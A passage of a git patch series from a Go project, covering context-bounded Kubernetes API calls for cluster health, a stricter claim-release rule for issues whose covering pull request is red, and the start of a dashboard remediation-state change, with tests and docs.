:= k8sAPIGet(nodeStatsSummaryPath(name)); statsErr != nil { + if rawStats, statsErr := k8sAPIGetWithContext(ctx, nodeStatsSummaryPath(name)); statsErr != nil { if logger != nil { logger.Debug("spoke metrics: node disk stats unavailable", "node", name, "error", statsErr) } @@ -269,7 +280,7 @@ func collectClusterHealthUncached(logger *slog.Logger) *HeartbeatClusterHealthRe // already assigned to a node are missed), so the capacity estimate below // can be marginally optimistic. var cpuRequestedPerNode, memRequestedPerNode map[string]int64 - podOut, err := k8sAPIGet("/api/v1/pods?fieldSelector=status.phase%3DRunning") + podOut, err := k8sAPIGetWithContext(ctx, "/api/v1/pods?fieldSelector=status.phase%3DRunning") if err != nil { if nodeHealthError == "" { nodeHealthError = nodeHealthErrorReason("pods API failed", err) @@ -515,6 +526,15 @@ func k8sTLSConfig() (*tls.Config, error) { } func k8sAPIGet(path string) ([]byte, error) { + return k8sAPIGetWithContext(context.Background(), path) +} + +func k8sAPIGetWithContext(ctx context.Context, path string) ([]byte, error) { + // Once the collection budget is exhausted, skip remaining node requests + // without repeatedly reading credentials or creating transports. + if err := ctx.Err(); err != nil { + return nil, err + } token, err := os.ReadFile(k8sTokenPath) if err != nil { return nil, fmt.Errorf("reading service account token: %w", err) @@ -530,7 +550,7 @@ func k8sAPIGet(path string) ([]byte, error) { Transport: &http.Transport{TLSClientConfig: tlsConfig}, } - ctx, cancel := context.WithTimeout(context.Background(), metricsCollectionTimeout) + ctx, cancel := context.WithTimeout(ctx, metricsCollectionTimeout) defer cancel() req, err := http.NewRequestWithContext(ctx, http.MethodGet, k8sAPIServer+path, nil) diff --git a/src/pkg/hub/spoke/cluster_metrics_budget_test.go b/src/pkg/hub/spoke/cluster_metrics_budget_test.go new file mode 100644 index 0000000000..3b1a5ce657 --- /dev/null +++ b/src/pkg/hub/spoke/cluster_metrics_budget_test.go @@ -0,0 +1,91 @@ +package spoke + +import ( + "context" + "errors" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" +) + +const budgetTestNodes = `{"items":[{"metadata":{"name":"node-a"},"status":{"allocatable":{"cpu":"4","memory":"8Gi"},"conditions":[{"type":"Ready","status":"True"}]}}]}` + +func TestClusterHealthCollectionBudget(t *testing.T) { + // A stalled API must leave time for the rest of heartbeat collection, even + // on a cold cache. Previously this consumed the entire heartbeat budget. + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + <-r.Context().Done() + })) + defer srv.Close() + withFakeK8sAPI(t, srv) + + start := time.Now() + report := collectClusterHealthUncached(nil) + if elapsed := time.Since(start); elapsed >= heartbeatTimeout { + t.Fatalf("cluster health took %s, exhausted heartbeat budget %s", elapsed, heartbeatTimeout) + } + if report == nil || !strings.Contains(report.NodeHealthError, "context deadline exceeded") { + t.Fatalf("expected partial report with deadline error, got %+v", report) + } +} + +func TestClusterHealthSharesContextAcrossRequests(t *testing.T) { + for _, stallPath := range []string{ + "/api/v1/nodes", + "/apis/metrics.k8s.io/v1beta1/nodes", + nodeStatsSummaryPath("node-a"), + "/api/v1/pods", + } { + t.Run(stallPath, func(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == stallPath { + // Expire the shared collection context while this request is + // in flight. Later requests must use the same spent budget. + cancel() + <-r.Context().Done() + return + } + if ctx.Err() != nil { + t.Errorf("API request after collection cancellation: %s", r.URL.Path) + } + if r.URL.Path == "/api/v1/nodes" { + _, _ = w.Write([]byte(budgetTestNodes)) + } else { + _, _ = w.Write([]byte(`{"items":[]}`)) + } + })) + defer srv.Close() + withFakeK8sAPI(t, srv) + + report := collectClusterHealthWithContext(ctx, nil) + if report == nil || !strings.Contains(report.NodeHealthError, "context canceled") { + t.Fatalf("expected partial report with cancellation error, got %+v", report) + } + if stallPath != "/api/v1/nodes" { + if report.Summary.TotalNodes != 1 || report.Summary.TotalCPUCores != 4 || report.Summary.TotalMemGB != 8 { + t.Fatalf("lost node capacity after cancellation: %+v", report.Summary) + } + if report.Summary.HiveCapacityRemaining != nil { + t.Fatal("capacity estimate should be unavailable without pod requests") + } + if report.Nodes[0].DiskPercent != nil { + t.Fatal("missing disk usage must stay unavailable") + } + } + }) + } +} + +func TestK8sAPIGetSpentCollectionBudget(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + cancel() + withMissingK8sToken(t) + _, err := k8sAPIGetWithContext(ctx, "/api/v1/nodes") + if !errors.Is(err, context.Canceled) { + t.Fatalf("spent budget should stop before credential access, got %v", err) + } +} From d61d90702ba3ba4dc622c6382db24f82d069a7cc Mon Sep 17 00:00:00 2001 From: Andrew Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 22:04:11 -0500 Subject: [PATCH 34/87] docs: drop duplicated DCO runbook entry after v6-tip merge Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- src/docs/operator-reference.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/src/docs/operator-reference.md b/src/docs/operator-reference.md index 6375e7dba3..2b57f739d5 100644 --- a/src/docs/operator-reference.md +++ b/src/docs/operator-reference.md @@ -137,5 +137,3 @@ The reference is organized into the sections below. Existing links to this page - [Red-main circuit breaker](operator-reference/v6-controls.md#red-main-circuit-breaker-red_main_threshold) <a id="open-held-pr-cap-max_open_held_prs"></a> - [Open held PR cap](operator-reference/v6-controls.md#open-held-pr-cap-max_open_held_prs) -<a id="dco-provider-unavailable-on-large-forward-merges"></a> -- [DCO provider unavailable on large forward merges](operator-reference/dco-provider-unavailable.md) From 4a9bb62a70e3e088b7328a5dc8b4415cbaca4e94 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 22:06:09 -0500 Subject: [PATCH 35/87] =?UTF-8?q?=F0=9F=90=9B=20fix:=20keep=20a=20covered?= =?UTF-8?q?=20issue=20at=20040=20while=20the=20hive=20still=20repairs=20it?= =?UTF-8?q?s=20red=20PR=20(#16523)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The Fix #3 claim-release valve released an issue ten minutes after its covering PR went red on an unchanged head, while the reaper was still spending the re-engagement budget on that same head. The issue fell 040-covered-by-pr -> 010-actionable under a live PR staged 070-fixing and the scanner kick offered work the open-PR dispatch guard then refused. escalation.Store.AbandonedRed is the valve predicate now: stale AND (escalated | re-engagements >= MaxReEngagements | red for ClaimReleaseAfter = MaxReEngagements x ReEngageCooldown). StaleRed is unchanged for the reaper and merge watcher. Fixes #16522 Signed-off-by: Andrew Anderson <andy@clubanderson.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- ...6522-covered-issue-release-while-fixing.md | 1 + src/cmd/hive/escalation_gates_test.go | 38 +++++++- src/cmd/hive/main_sweeps.go | 19 ++-- src/docs/contributor-relay.md | 2 +- src/pkg/escalation/abandoned_red_test.go | 91 +++++++++++++++++++ src/pkg/escalation/escalation.go | 32 +++++++ src/pkg/github/prclaims.go | 12 ++- 7 files changed, 179 insertions(+), 16 deletions(-) create mode 100644 changelog.d/fixed-16522-covered-issue-release-while-fixing.md create mode 100644 src/pkg/escalation/abandoned_red_test.go diff --git a/changelog.d/fixed-16522-covered-issue-release-while-fixing.md b/changelog.d/fixed-16522-covered-issue-release-while-fixing.md new file mode 100644 index 0000000000..84dd8ca332 --- /dev/null +++ b/changelog.d/fixed-16522-covered-issue-release-while-fixing.md @@ -0,0 +1 @@ +- The claim-release valve no longer drops a covered issue to `stage/010-actionable` while the hive is still repairing its red covering PR ([#16522](https://github.com/hivecommons/hive/issues/16522)). A red+stale PR releases its issue only once the fix loop has given up on that head: escalated to a human, re-engagement budget spent, or red for the whole re-engagement window (`escalation.ClaimReleaseAfter`) with no owner reachable. Until then the issue stays `stage/040-covered-by-pr` narrating the PR's `070-fixing`, and the scanner is not offered work a live PR already owns. diff --git a/src/cmd/hive/escalation_gates_test.go b/src/cmd/hive/escalation_gates_test.go index aa7cbe2deb..22f2a2c034 100644 --- a/src/cmd/hive/escalation_gates_test.go +++ b/src/cmd/hive/escalation_gates_test.go @@ -214,8 +214,8 @@ func TestClaimingPRRedStale(t *testing.T) { } }) - t.Run("release only for red AND stale claiming PRs", func(t *testing.T) { - _, clock := newTestEscalationStore(t) + t.Run("release only for red AND abandoned claiming PRs", func(t *testing.T) { + store, clock := newTestEscalationStore(t) cfg := escalationTestConfig() green := redPR("widgets", 9, "hive-agent", "ggg") green.FailingChecks = nil @@ -239,13 +239,45 @@ func TestClaimingPRRedStale(t *testing.T) { t.Error("a freshly-red claiming PR must keep suppressing (false)") } *clock = clock.Add(escalation.RedPRStaleAfter + time.Minute) + if pred("widgets", 7) { + // hivecommons/hive#16522: #16475 fell to 010-actionable under a + // live #16492 the reaper was re-engaging a minute later. + t.Error("a stale red claiming PR the reaper is still re-engaging must keep suppressing (false)") + } + for i := 0; i < escalation.MaxReEngagements; i++ { + store.RecordReEngagement("acme/widgets", 7) + } if !pred("widgets", 7) { - t.Error("a red claiming PR stale past the threshold must release (true)") + t.Error("a stale red claiming PR with its re-engagement budget spent must release (true)") } if !pred("acme/widgets", 7) { t.Error("the predicate must resolve owner-prefixed claim repos too") } }) + + t.Run("escalated or long-abandoned red claiming PRs release", func(t *testing.T) { + store, clock := newTestEscalationStore(t) + cfg := escalationTestConfig() + actionable := actionableWith( + redPR("widgets", 7, "hive-agent", "abc"), + redPR("widgets", 8, "hive-agent", "def"), + ) + recordRedStaleness(cfg, actionable) + pred := claimingPRRedStale(cfg, actionable) + + *clock = clock.Add(escalation.RedPRStaleAfter + time.Minute) + store.MarkEscalated("acme/widgets", 7) + if !pred("widgets", 7) { + t.Error("a stale red claiming PR handed to a human must release (true)") + } + if pred("widgets", 8) { + t.Error("a stale red claiming PR still inside the re-engagement window must keep suppressing (false)") + } + *clock = clock.Add(escalation.ClaimReleaseAfter) + if !pred("widgets", 8) { + t.Error("a red claiming PR untouched for the whole re-engagement window must release (true)") + } + }) } func TestReapStuckRedPRs(t *testing.T) { diff --git a/src/cmd/hive/main_sweeps.go b/src/cmd/hive/main_sweeps.go index b453d5f3ca..ab636a5755 100644 --- a/src/cmd/hive/main_sweeps.go +++ b/src/cmd/hive/main_sweeps.go @@ -1848,12 +1848,17 @@ func issueReopenedHookFor(ledger *github.ClaimLedger, logger *slog.Logger) githu } // claimingPRRedStale builds the Fix #3 release predicate: given a claiming PR -// (prRepo, prNumber), report whether it is red on a required check AND stale. -// It looks up the PR's live CI state + head SHA from this pass's enumeration and -// consults the shared staleness clock. A PR not found in the enumeration, or one -// that is green/pending, or one whose red head only just appeared, returns false -// β€” so a HEALTHY claiming PR still suppresses its issue. Returns a nil func when -// escalation is disabled, preserving the original unconditional-suppress +// (prRepo, prNumber), report whether it is red on a required check AND the +// hive has given up repairing it (escalation.Store.AbandonedRed: stale, and +// escalated / re-engagement budget spent / red for the whole re-engagement +// window). It looks up the PR's live CI state + head SHA from this pass's +// enumeration and consults the shared staleness clock. A PR not found in the +// enumeration, one that is green/pending, one whose red head only just +// appeared, or one the reaper is still re-engaging returns false β€” so a +// HEALTHY or still-being-fixed claiming PR keeps suppressing its issue, and +// the issue stays 040-covered-by-pr while the PR reads 070-fixing instead of +// falling to 010 under a live PR (hivecommons/hive#16522). Returns a nil func +// when escalation is disabled, preserving the original unconditional-suppress // behavior. GENERIC: keys only off check state + staleness. func claimingPRRedStale(cfg *config.Config, actionable *github.ActionableResult) github.RedStaleFunc { if cfg.Escalation.Disabled || actionable == nil { @@ -1886,7 +1891,7 @@ func claimingPRRedStale(cfg *config.Config, actionable *github.ActionableResult) if !ok || !st.red { return false // not enumerated, or healthy β†’ keep suppressing } - return store.StaleRed(st.repo, prNumber, st.headSHA) + return store.AbandonedRed(st.repo, prNumber, st.headSHA) } } diff --git a/src/docs/contributor-relay.md b/src/docs/contributor-relay.md index 273cd8467d..1af4c04966 100644 --- a/src/docs/contributor-relay.md +++ b/src/docs/contributor-relay.md @@ -1230,7 +1230,7 @@ Worker claims instead expire on their configured per-kind TTL, renew with task o The notes below record the evolution of claim scanning, verified verdicts, prose parsing, and settled retention. Their earlier β€œ72h deferral/expiry” descriptions are historical, **not the current dispatch rules**; use the table above for today's operator decision. -- **Issues already claimed by an open PR β€” or settled by a recently-merged one β€” are skipped.** The hub's claim ledger records every open PR that references an issue with a closing keyword (`fixes #N`, `closes owner/repo#N`, …) β€” including PRs from external authors, not just hive agents ([#3792](https://github.com/hivecommons/hive/pull/3792)). Since [#6867](https://github.com/hivecommons/hive/issues/6867) the same scan also covers **recently-merged** PRs: a fix that merged *without* a closing keyword leaves its issue open, and its claim used to vanish the moment the PR left the open set, so the settled issue went straight back to contributors (and agent dispatch) whose only possible verdict was "already resolved on `main`" β€” measured downstream at ~34% of contributor sessions. Merged claims are graded by the same evidence tiers as open ones and suppress identically; across tiers, evidence wins, so a merged `Fixes #N` outranks an open `Refs #N`. A claimed issue is silently dropped from the contribute candidate set; if nothing else is admissible the relay receives `task_unavailable` with reason `no_matching_work` (there is no per-issue "claimed by PR #N" message). External claims β€” like the weaker non-closing `Refs #N` references β€” now DEFER the hive's own agents for a bounded 72h window, then release the issue even while the PR stays open ([#4929](https://github.com/hivecommons/hive/issues/4929)). They previously never suppressed agent work at all, which let an agent that cannot check for existing PRs re-implement an issue a live PR already covered. Nothing is frozen: the window is a bound β€” anchored at first observation for an open claim, and at the **merge** for a merged one, so a merged `Refs #N` still releases an epic's remainder β€” and a red+stale claiming PR defers nothing. +- **Issues already claimed by an open PR β€” or settled by a recently-merged one β€” are skipped.** The hub's claim ledger records every open PR that references an issue with a closing keyword (`fixes #N`, `closes owner/repo#N`, …) β€” including PRs from external authors, not just hive agents ([#3792](https://github.com/hivecommons/hive/pull/3792)). Since [#6867](https://github.com/hivecommons/hive/issues/6867) the same scan also covers **recently-merged** PRs: a fix that merged *without* a closing keyword leaves its issue open, and its claim used to vanish the moment the PR left the open set, so the settled issue went straight back to contributors (and agent dispatch) whose only possible verdict was "already resolved on `main`" β€” measured downstream at ~34% of contributor sessions. Merged claims are graded by the same evidence tiers as open ones and suppress identically; across tiers, evidence wins, so a merged `Fixes #N` outranks an open `Refs #N`. A claimed issue is silently dropped from the contribute candidate set; if nothing else is admissible the relay receives `task_unavailable` with reason `no_matching_work` (there is no per-issue "claimed by PR #N" message). External claims β€” like the weaker non-closing `Refs #N` references β€” now DEFER the hive's own agents for a bounded 72h window, then release the issue even while the PR stays open ([#4929](https://github.com/hivecommons/hive/issues/4929)). They previously never suppressed agent work at all, which let an agent that cannot check for existing PRs re-implement an issue a live PR already covered. Nothing is frozen: the window is a bound β€” anchored at first observation for an open claim, and at the **merge** for a merged one, so a merged `Refs #N` still releases an epic's remainder β€” and a red+stale claiming PR the hive has given up repairing (escalated to a human, re-engagement budget spent, or red for the whole re-engagement window β€” [#16522](https://github.com/hivecommons/hive/issues/16522)) defers nothing; while the reaper is still re-engaging it, the issue stays covered. - **A `no_work_needed` verdict's citation becomes a verified claim.** The merged-PR scan above only sees PRs that *reference* the issue; a fix that landed without mentioning it is invisible, and on one hosted spoke 5 of 7 tasks on a contributor ended `no_work_needed` re-discovering settlements the previous agent had already found ([#7871](https://github.com/hivecommons/hive/issues/7871)). The agent does name what settled the issue in its `verdict_reason` ("already merged via #532", "covered by merged PR #867", "already in upstream/main (e6d3de3)"), so the hub now parses that reason for `#N`, `owner/repo#N`, pull URLs and 7–40 hex SHAs (the task's own issue number excluded, at most six candidates), checks each against GitHub, and records the **first that holds up** in the same claim ledger, exactly as the scan would have: a PR merged into the task repo *before the task was dispatched* β€” or a commit reachable from the default branch β€” is a strong merged claim; an open PR in the task repo by someone else is a weak external claim β€” *someone else* is enforced: the hub compares the PR's author to the reporting contributor's GitHub login (case-insensitively) and drops a self-authored open PR, so the least-trusted write path cannot defer an issue by citing its own unrelated PR ([#7890](https://github.com/hivecommons/hive/issues/7890)); a merged PR is a fact whoever authored it. The text alone is never trusted: a reference the API cannot confirm (wrong repo, closed-unmerged, not on `main`, merged after dispatch, or simply fabricated) records nothing and today's cooldown applies. What the API check does *not* establish is relevance β€” a real but unrelated ref passes, since a settling PR by definition never referenced the issue; that residual is bounded by the claim TTL and voided by newer activity on the issue. Verdict-recovered claims carry `source: "verdict"` and survive the authoritative scan that cannot see their PR, until the ordinary 72h TTL retires them or stronger live evidence for the issue replaces them. The check runs off the contributor's read loop and requires a wired claim ledger and GitHub client; a hive without either behaves as before. - **A closing keyword written as prose counts.** The claim parser used to require GitHub's own trailer shape, `keyword #N` (optionally with a colon), so a merged PR whose body read *"Resolves architect issue #1232 (first incremental step)"* produced **no claim at all** ([#7995](https://github.com/hivecommons/hive/issues/7995)). Since that issue the closing tier accepts the same bounded run of prose the non-closing reference tier already did β€” at most 40 characters, no `.`, newline or `#` β€” so `Resolves architect issue #1232` and `Fixes the bug in #12` are closing claims. GitHub will still not auto-close on those, and hive does not pretend it will: a claim here is about whether the **work landed**, and a merged PR that says it resolves an issue is the strongest evidence the hub gets, so it suppresses rather than being released for re-verification after every merge. The prose gap must begin with a space or tab, which is what keeps a Conventional Commits type prefix (`fix:`, `fix(scope):`) from claiming the first issue number in a title. The closing tier remains single-issue, matching GitHub's one-keyword-per-number rule; only the reference tier reads lists. - **A merged fix does not expire on a clock.** A strong claim from a merged PR β€” or a verified `no_work_needed` verdict β€” used to leave the ledger 72 hours after the merge, because the settle scan looks back 72h and the ledger TTL matched it. The PR was still merged; only the clock had moved. So the issue went straight back into the offer pool, an agent re-verified "already fixed on main", and the verdict claim it left sat on the same 72h clock β€” one wasted task cycle every three days for as long as nobody closed the issue ([#8003](https://github.com/hivecommons/hive/issues/8003): projectbluefin/chairlift#55, fixed by #133, re-offered three times with two "please close" agent comments on it). Settled claims are now carried forward across scans for as long as the issue stays open β€” the 30-day retention bound counts from the last enumeration pass that listed the issue as open, not from the merge, so it only prunes claims whose issue has since closed ([#11580](https://github.com/hivecommons/hive/issues/11580)); a merged *weak* claim (a `Refs #N`, or an external author's PR) is not β€” it never asserted it finished the issue, and is still released with context as before. And because the hold has by then outlasted every automatic bound, after **7 days** the contribute queue stops describing it as "an open pull request already claims this issue" and withholds it under `merged_claim_stale`, whose prose is the question a maintainer has to answer: *Fixed by merged PR #133 4 days ago; the issue is still open β€” close it or say what remains.* diff --git a/src/pkg/escalation/abandoned_red_test.go b/src/pkg/escalation/abandoned_red_test.go new file mode 100644 index 0000000000..82eb897b07 --- /dev/null +++ b/src/pkg/escalation/abandoned_red_test.go @@ -0,0 +1,91 @@ +package escalation + +import ( + "path/filepath" + "testing" + "time" +) + +// The claim-release valve must not let a covered issue go while the hive is +// still re-engaging the covering PR: hivecommons/hive#16475 fell from +// 040-covered-by-pr to 010-actionable ten minutes after #16492 went red, with +// the reaper's first re-engagement for that same head landing a minute later +// (hivecommons/hive#16522). +func TestAbandonedRed(t *testing.T) { + newStore := func(t *testing.T) (*Store, *time.Time) { + t.Helper() + s := Load(filepath.Join(t.TempDir(), "ledger.json")) + now := time.Now().UTC() + s.SetClock(func() time.Time { return now }) + s.ObserveRed([]Observation{{Repo: "org/repo", Number: 1, HeadSHA: "sha1", Red: true}}) + return s, &now + } + + t.Run("stale inside the re-engagement budget keeps the claim", func(t *testing.T) { + s, now := newStore(t) + *now = now.Add(RedPRStaleAfter + time.Minute) + if !s.StaleRed("org/repo", 1, "sha1") { + t.Fatal("precondition: head must read stale") + } + if s.AbandonedRed("org/repo", 1, "sha1") { + t.Fatal("a stale red head the reaper is still re-engaging must not release its issue") + } + s.RecordReEngagement("org/repo", 1) + *now = now.Add(ReEngageCooldown + time.Minute) + if s.AbandonedRed("org/repo", 1, "sha1") { + t.Fatal("one delivered re-engagement is the fix loop working, not giving up") + } + }) + + t.Run("fresh red is never abandoned", func(t *testing.T) { + s, _ := newStore(t) + s.MarkEscalated("org/repo", 1) + if s.AbandonedRed("org/repo", 1, "sha1") { + t.Fatal("a head younger than RedPRStaleAfter must not release, even escalated") + } + }) + + t.Run("escalated to a human releases", func(t *testing.T) { + s, now := newStore(t) + *now = now.Add(RedPRStaleAfter + time.Minute) + s.MarkEscalated("org/repo", 1) + if !s.AbandonedRed("org/repo", 1, "sha1") { + t.Fatal("a stale red head handed to a human has left the fix loop") + } + }) + + t.Run("spent re-engagement budget releases", func(t *testing.T) { + s, now := newStore(t) + *now = now.Add(RedPRStaleAfter + time.Minute) + for i := 0; i < MaxReEngagements; i++ { + s.RecordReEngagement("org/repo", 1) + } + if !s.AbandonedRed("org/repo", 1, "sha1") { + t.Fatal("a stale red head with no re-engagements left has been given up on") + } + }) + + t.Run("unreachable owner releases after the whole window", func(t *testing.T) { + s, now := newStore(t) + *now = now.Add(ClaimReleaseAfter - time.Minute) + if s.AbandonedRed("org/repo", 1, "sha1") { + t.Fatal("still inside the re-engagement window") + } + *now = now.Add(2 * time.Minute) + if !s.AbandonedRed("org/repo", 1, "sha1") { + t.Fatal("a head red for the whole re-engagement window with nobody reachable must release") + } + }) + + t.Run("a moved head resets the verdict", func(t *testing.T) { + s, now := newStore(t) + *now = now.Add(ClaimReleaseAfter + time.Minute) + s.ObserveRed([]Observation{{Repo: "org/repo", Number: 1, HeadSHA: "sha2", Red: true}}) + if s.AbandonedRed("org/repo", 1, "sha2") { + t.Fatal("a new red head is a fix attempt: the clock and the budget start over") + } + if s.AbandonedRed("org/repo", 1, "sha1") { + t.Fatal("a head the store no longer tracks is not stale") + } + }) +} diff --git a/src/pkg/escalation/escalation.go b/src/pkg/escalation/escalation.go index 94aac1e196..b02b8aab75 100644 --- a/src/pkg/escalation/escalation.go +++ b/src/pkg/escalation/escalation.go @@ -999,6 +999,38 @@ func (s *Store) StaleRed(repo string, number int, headSHA string) bool { return s.now().Sub(e.FirstRedAt) >= RedPRStaleAfter } +// ClaimReleaseAfter is how long a red head may sit unchanged before the +// claim-release valve lets the covered issue go even though no re-engagement +// was ever delivered (an owner the fix loop could not reach). It is the +// whole re-engagement window β€” MaxReEngagements spaced by ReEngageCooldown β€” +// so an issue is never offered for a second PR while the first is still +// inside the hive's own repair budget. +const ClaimReleaseAfter = time.Duration(MaxReEngagements) * ReEngageCooldown + +// AbandonedRed reports whether the hive has stopped repairing the PR's +// CURRENT red head SHA: the head is StaleRed AND the fix loop has given up +// on it β€” the PR was escalated to a human, the re-engagement budget for +// this head is spent, or the head has been red for ClaimReleaseAfter with +// nobody reachable to re-engage. It is the predicate the claim-release +// valve (FilterClaimedIssues, "Fix #3") must use instead of StaleRed: a +// red head that is merely stale is still being re-engaged by the reaper +// and the merge watcher, and releasing its issue then stages the issue +// 010-actionable while the covering PR reads 070-fixing β€” one piece of +// work with two owners (hivecommons/hive#16522). +func (s *Store) AbandonedRed(repo string, number int, headSHA string) bool { + s.mu.Lock() + defer s.mu.Unlock() + e := s.entries[Key(repo, number)] + if e == nil || e.CurRedSHA == "" || headSHA == "" || e.CurRedSHA != headSHA || e.FirstRedAt.IsZero() { + return false + } + redFor := s.now().Sub(e.FirstRedAt) + if redFor < RedPRStaleAfter { + return false + } + return e.Escalated || e.ReEngagements >= MaxReEngagements || redFor >= ClaimReleaseAfter +} + // TryReEngage atomically decides whether the re-engagement paths (#2/#4) may // dispatch another fix for the PR's current red head SHA, and if so records the // attempt. It returns true at most MaxReEngagements times per red SHA: the cap diff --git a/src/pkg/github/prclaims.go b/src/pkg/github/prclaims.go index 0b649fdd95..b3bdb9fb8d 100644 --- a/src/pkg/github/prclaims.go +++ b/src/pkg/github/prclaims.go @@ -1836,11 +1836,13 @@ func (l *ClaimLedger) Save() error { } // RedStaleFunc reports whether the claiming PR (prRepo, prNumber) is red on a -// required check AND stale (its red head SHA unchanged past the staleness -// threshold). Fix #3 uses it to DECIDE NOT to suppress a claimed issue: a -// healthy claiming PR (green/pending, or a freshly-changed head) still -// suppresses its issue, but a red+stale one releases the issue so the work can -// be re-taken. It is supplied by the caller so this package stays free of the +// required check AND abandoned (its red head SHA unchanged past the staleness +// threshold and the hive's fix loop done with it: escalated, re-engagement +// budget spent, or red for the whole re-engagement window). Fix #3 uses it to +// DECIDE NOT to suppress a claimed issue: a healthy claiming PR (green/pending, +// or a freshly-changed head) or one the reaper is still re-engaging keeps +// suppressing its issue, but an abandoned red one releases the issue so the +// work can be re-taken (hivecommons/hive#16522). It is supplied by the caller so this package stays free of the // escalation-store dependency; a nil func means "never release" (old behavior). // GENERIC: the predicate keys only off check state + commit staleness. type RedStaleFunc func(prRepo string, prNumber int) bool From dcc91470c5cb8266eb5ace302603f1d5c6facad3 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 22:21:20 -0500 Subject: [PATCH 36/87] =?UTF-8?q?=F0=9F=90=9B=20fix(dashboard):=20evidence?= =?UTF-8?q?-based=20remediation=20state=20on=20the=20PR=20in=20progress=20?= =?UTF-8?q?chevron=20(#16527)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A red PR (changes requested / CI failing) read nothing in the PR in progress column: waiting_fixer lit CI / Review, and the persistent push marker overrode it with 'New head pushed' even when the red review landed after that push. The chevron now carries Changes requested Β· unassigned (bright, still), Remediating Β· <actor> Β· <age> only on pickup evidence (fix dispatch, working agent on the PR, claim ledger, contributor relay claim) and a done-style Fix pushed <sha> once a head lands after the red signal. The item exposes remediation {actor, kind, since, source}. Fixes #16525 Signed-off-by: Andrew Anderson <andy@clubanderson.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../fixed-remediating-chevron-evidence.md | 1 + src/pkg/dashboard/stage_tracker.go | 3 + src/pkg/dashboard/stage_tracker_build.go | 4 +- .../dashboard/stage_tracker_remediation.go | 345 ++++++++++++++++++ .../stage_tracker_remediation_chevron.test.js | 102 ++++++ .../stage_tracker_remediation_test.go | 225 ++++++++++++ src/pkg/dashboard/static-src/css/tracker.css | 6 + .../static-src/js/tracker-row-strip.js | 19 +- src/pkg/dashboard/static/index.html | 25 +- 9 files changed, 725 insertions(+), 5 deletions(-) create mode 100644 changelog.d/fixed-remediating-chevron-evidence.md create mode 100644 src/pkg/dashboard/stage_tracker_remediation.go create mode 100644 src/pkg/dashboard/stage_tracker_remediation_chevron.test.js create mode 100644 src/pkg/dashboard/stage_tracker_remediation_test.go diff --git a/changelog.d/fixed-remediating-chevron-evidence.md b/changelog.d/fixed-remediating-chevron-evidence.md new file mode 100644 index 0000000000..bd767effb6 --- /dev/null +++ b/changelog.d/fixed-remediating-chevron-evidence.md @@ -0,0 +1 @@ +- Activity Monitor: the PR in progress chevron on a red PR now reads the evidence-based remediation state β€” `Changes requested Β· unassigned Β· next: scanner` while nobody has picked it up, `Remediating Β· <actor> Β· 4m` only on a running fix kick, a clanker claim or a working agent on the PR, and a done-style `Fix pushed abc1234 Β· re-review pending` once a head lands after the red signal; a push that predates the changes-requested review no longer reads as a fix. The item carries `remediation: {actor, kind, since, source}` and the tooltip names the evidence (hivecommons/hive#16525). diff --git a/src/pkg/dashboard/stage_tracker.go b/src/pkg/dashboard/stage_tracker.go index 3bac8363f4..bad434321b 100644 --- a/src/pkg/dashboard/stage_tracker.go +++ b/src/pkg/dashboard/stage_tracker.go @@ -279,6 +279,9 @@ type StageTrackerItem struct { CIActivity *StageTrackerActivity `json:"ci_activity,omitempty"` ReviewActivity *StageTrackerActivity `json:"review_activity,omitempty"` CodeActivity *StageTrackerActivity `json:"code_activity,omitempty"` + // Remediation is the pickup evidence behind a red PR's code activity + // (stage_tracker_remediation.go); absent while nobody has picked it up. + Remediation *StageTrackerRemediation `json:"remediation,omitempty"` // DisplayColumn is presentation only; native stages, filters and merge gates remain unchanged. DisplayColumn int `json:"display_column,omitempty"` Preparation *StageTrackerPreparation `json:"preparation,omitempty"` diff --git a/src/pkg/dashboard/stage_tracker_build.go b/src/pkg/dashboard/stage_tracker_build.go index 9b9ce770bc..20f560ae33 100644 --- a/src/pkg/dashboard/stage_tracker_build.go +++ b/src/pkg/dashboard/stage_tracker_build.go @@ -545,8 +545,10 @@ func (s *Server) buildStageTracker(status *StatusPayload, store *stagelabels.Sto it.ReviewActivity = stageTrackerReviewActivity(currentPR, bundle, currentAggregate, dispatchState, status, now) stageTrackerCountPerspectives(it.ReviewActivity, currentPR, bundle, currentAggregate, dispatchState, stageTrackerRepoQualifier(status), expectedPerspectives) } + activityItem.CIActivity, activityItem.ReviewActivity = it.CIActivity, it.ReviewActivity stageTrackerApplyCodeActivity(&activityItem, dispatchState, status, now) - it.CodeActivity, it.DisplayColumn, it.Caption = activityItem.CodeActivity, activityItem.DisplayColumn, activityItem.Caption + stageTrackerApplyRemediation(&activityItem, dispatchState, status, stageTrackerFixerAgent(cfg), now) + it.CodeActivity, it.Remediation, it.DisplayColumn, it.Caption = activityItem.CodeActivity, activityItem.Remediation, activityItem.DisplayColumn, activityItem.Caption } resp.NeedsHuman, resp.OnHold = stageTrackerHumanCounts(resp.Items) resp.WaitingOnHuman = stageTrackerWaitingOnHuman(resp.Items) diff --git a/src/pkg/dashboard/stage_tracker_remediation.go b/src/pkg/dashboard/stage_tracker_remediation.go new file mode 100644 index 0000000000..2bcbd3fcb3 --- /dev/null +++ b/src/pkg/dashboard/stage_tracker_remediation.go @@ -0,0 +1,345 @@ +package dashboard + +import ( + "fmt" + "strings" + "time" + + "github.com/hivecommons/hive/pkg/config" + "github.com/hivecommons/hive/pkg/github" + "github.com/hivecommons/hive/pkg/review" +) + +// Remediation evidence kinds on the wire. A red review or CI result is a +// request for remediation, never proof that anybody is remediating; the +// PR in progress chevron reads 